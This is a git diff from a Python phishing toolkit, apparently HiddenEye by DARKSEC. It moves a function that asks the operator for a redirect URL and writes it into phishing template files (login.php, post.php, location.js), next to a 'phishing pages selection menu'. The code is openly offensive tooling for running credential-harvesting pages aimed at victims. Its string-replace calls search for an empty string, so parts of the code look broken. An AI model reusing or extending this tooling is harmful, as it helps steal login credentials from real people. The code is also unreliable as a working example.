diff --git a/Defs/ActionManager/Actions.py b/Defs/ActionManager/Actions.py index 38c90e1..11f7fa0 100644 --- a/Defs/ActionManager/Actions.py +++ b/Defs/ActionManager/Actions.py @@ -15,15 +15,6 @@ from Defs.Configurations import readConfig, ifSettingsNotExists from Defs.Languages import * -installGetText() -languageSelector() -ifSettingsNotExists() -config = readConfig() - - -colorTheme = colorSelector() -MAIN0, MAIN1, MAIN2, MAIN3, MAIN4 = colorTheme[0], colorTheme[ - 1], colorTheme[2], colorTheme[3], colorTheme[4] @@ -39,59 +30,8 @@ MAIN0, MAIN1, MAIN2, MAIN3, MAIN4 = colorTheme[0], colorTheme[ -def loadModule(module): # This one just show text.. - print('''\n {0}[{1}*{0}] SELECT ANY ONE MODE...{0}\n--------------------------------'''.format(MAIN0, MAIN2)) -def inputCustom(): # Question where user can input custom web-link - system('clear') - print('''{1} - _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} - |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} - | | | ]__| ]__| |__ | \| {0}|__ || |__{1} - {0}http://github.com/darksecdevelopers - {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ PUT YOUR REDIRECTING URL HERE ] {0}\n-------------------------------'''.format(MAIN0, MAIN2)) - print( - '''\n{1}**{0}(Do not leave it blank. Unless Errors may occur)'''.format(MAIN2, MAIN4)) - print( - '''\n{0}[{1}*{0}]{0}Insert a custom redirect url:'''.format(MAIN0, MAIN4)) - custom = input('''\n{0}REDIRECT HERE>>> {2}'''.format(MAIN0, MAIN4, MAIN2)) - if 'http://' in custom or 'https://' in custom: - pass - else: - custom = 'http://' + custom - - if path.exists('Server/www/js/location.js'): # For Location (gdrive) Template Redirection. - with open('Server/www/js/location.js') as f: - read_data = f.read() - c = read_data.replace('', custom) - f = open('Server/www/js/location.js', 'w') - f.write(c) - f.close() - - if path.exists('Server/www/post.php') and path.exists('Server/www/login.php'): - with open('Server/www/login.php') as f: - read_data = f.read() - c = read_data.replace('', custom) - f = open('Server/www/login.php', 'w') - f.write(c) - f.close() - - with open('Server/www/post.php') as f: - read_data = f.read() - c = read_data.replace('', custom) - f = open('Server/www/post.php', 'w') - f.write(c) - f.close() - - else: - with open('Server/www/login.php') as f: - read_data = f.read() - c = read_data.replace('', custom) - f = open('Server/www/login.php', 'w') - f.write(c) - f.close() - def emailPrompt(): system('clear') diff --git a/Defs/ActionManager/main_runner.py b/Defs/ActionManager/main_runner.py index 86fa661..c2d2a05 100644 --- a/Defs/ActionManager/main_runner.py +++ b/Defs/ActionManager/main_runner.py @@ -1,6 +1,4 @@ -from Defs.ImportManager.unsorted_will_be_replaced import run_command -from Defs.ImportManager.unsorted_will_be_replaced import webpage_set -from Defs.ImportManager.unsorted_will_be_replaced import wait +from Defs.ImportManager.unsorted_will_be_replaced import run_command, webpage_set, wait, path from Defs.ThemeManager.theme import default_palette from Defs.ActionManager.informant import exit_message, port_selector, module_loading_message @@ -359,3 +357,52 @@ def start_phishing_page(page, custom_option): # Phishing pages selection menu else: exit_message(port) + +def enter_custom_redirecting_url(): # Question where user can input custom web-link + run_command('clear') + print('''{1} + _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} + |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} + | | | ]__| ]__| |__ | \| {0}|__ || |__{1} + {0}http://github.com/darksecdevelopers + {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ PUT YOUR REDIRECTING URL HERE ] {0}\n-------------------------------'''.format(default_palette[0], default_palette[2])) + print( + '''\n{1}**{0}(Do not leave it blank. Unless Errors may occur)'''.format(default_palette[2], default_palette[4])) + print( + '''\n{0}[{1}*{0}]{0}Insert a custom redirect url:'''.format(default_palette[0], default_palette[4])) + custom = input('''\n{0}REDIRECT HERE>>> {1}'''.format(default_palette[0], default_palette[2])) + if 'http://' in custom or 'https://' in custom: + pass + else: + custom = 'http://' + custom + + if path.exists('Server/www/js/location.js'): # For Location (gdrive) Template Redirection. + with open('Server/www/js/location.js') as f: + read_data = f.read() + c = read_data.replace('', custom) + f = open('Server/www/js/location.js', 'w') + f.write(c) + f.close() + + if path.exists('Server/www/post.php') and path.exists('Server/www/login.php'): + with open('Server/www/login.php') as f: + read_data = f.read() + c = read_data.replace('', custom) + f = open('Server/www/login.php', 'w') + f.write(c) + f.close() + + with open('Server/www/post.php') as f: + read_data = f.read() + c = read_data.replace('', custom) + f = open('Server/www/post.php', 'w') + f.write(c) + f.close() + + else: + with open('Server/www/login.php') as f: + read_data = f.read() + c = read_data.replace('', custom) + f = open('Server/www/login.php', 'w') + f.write(c) + f.close()